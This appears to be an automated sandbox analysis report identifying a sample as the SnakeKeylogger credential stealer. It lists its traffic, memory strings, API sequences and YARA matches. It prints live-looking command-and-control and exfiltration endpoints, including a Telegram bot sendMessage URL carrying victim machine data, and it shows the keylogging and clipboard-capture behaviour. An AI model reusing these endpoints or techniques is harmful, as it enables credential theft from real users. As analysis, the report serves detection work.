Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.tradolgt.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 03 Jan 2025 08:49:12 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.tradolgt.com
Source: RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.000000000684E000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006849000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0
Source: RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.M
Source: RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.000000000684E000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006849000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.l3
Source: RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006845000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006841000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006845000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006841000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:642294%0D%0ADate%20a
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegSvcs.exe, 00000002.00000002.4485162305.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000333E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000002.00000002.4485162305.000000000333E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000032F9000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000333E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49721 version: TLS 1.2

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FF425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00FF425A

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FF4458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00FF4458

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

0_2_00FF425A

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FE0219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00FE0219

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_0100CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0100CDAC

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: W2k2NLSvja.exe PID: 5700, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 6504, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00F83B4C
Source: W2k2NLSvja.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: W2k2NLSvja.exe, 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_7dd54d3c-4
Source: W2k2NLSvja.exe, 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f6fdb27a-2
Source: W2k2NLSvja.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b11906a3-8
Source: W2k2NLSvja.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_4fcc8bd0-7

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FE40B1: CreateFileW,_memset,DeviceIoControl,CloseHandle,

0_2_00FE40B1

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FD8858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00FD8858

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FE545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00FE545F

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F8E800	0_2_00F8E800
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FADBB5	0_2_00FADBB5
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F8E060	0_2_00F8E060
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_0100804A	0_2_0100804A
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F94140	0_2_00F94140
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FA2405	0_2_00FA2405
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FB6522	0_2_00FB6522
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FB267E	0_2_00FB267E
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_01000665	0_2_01000665
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F96843	0_2_00F96843
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FA283A	0_2_00FA283A
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FB89DF	0_2_00FB89DF
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FB6A94	0_2_00FB6A94
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F98A0E	0_2_00F98A0E
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_01000AE2	0_2_01000AE2
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FE8B13	0_2_00FE8B13
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FDEB07	0_2_00FDEB07
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FACD61	0_2_00FACD61
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FB7006	0_2_00FB7006
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F93190	0_2_00F93190
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F9710E	0_2_00F9710E
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F81287	0_2_00F81287
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FA33C7	0_2_00FA33C7
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FAF419	0_2_00FAF419
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FA16C4	0_2_00FA16C4
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F95680	0_2_00F95680
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FA78D3	0_2_00FA78D3
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F958C0	0_2_00F958C0
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FA1BB8	0_2_00FA1BB8
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FB9D05	0_2_00FB9D05
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F8FE40	0_2_00F8FE40
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FABFE6	0_2_00FABFE6
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FA1FD0	0_2_00FA1FD0
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00F53650	0_2_00F53650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_014CF368	2_2_014CF368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_014C9E28	2_2_014C9E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_01660040	2_2_01660040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_01660012	2_2_01660012
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CC147	2_2_018CC147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018C5362	2_2_018C5362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CD278	2_2_018CD278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CC468	2_2_018CC468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CC738	2_2_018CC738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CE988	2_2_018CE988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018C69A0	2_2_018C69A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CCA08	2_2_018CCA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018C9DE0	2_2_018C9DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CCCD8	2_2_018CCCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CCFAA	2_2_018CCFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018C6FC8	2_2_018C6FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018C29EC	2_2_018C29EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CF979	2_2_018CF979
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018CE97A	2_2_018CE97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018C3AB8	2_2_018C3AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_018C3E09	2_2_018C3E09

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: String function: 00FA0D27 appears 70 times
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: String function: 00F87F41 appears 35 times
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: String function: 00FA8B40 appears 42 times

Source: W2k2NLSvja.exe, 00000000.00000003.2033866011.000000000402D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs W2k2NLSvja.exe
Source: W2k2NLSvja.exe, 00000000.00000003.2034135306.0000000003E83000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs W2k2NLSvja.exe
Source: W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs W2k2NLSvja.exe

Source: W2k2NLSvja.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
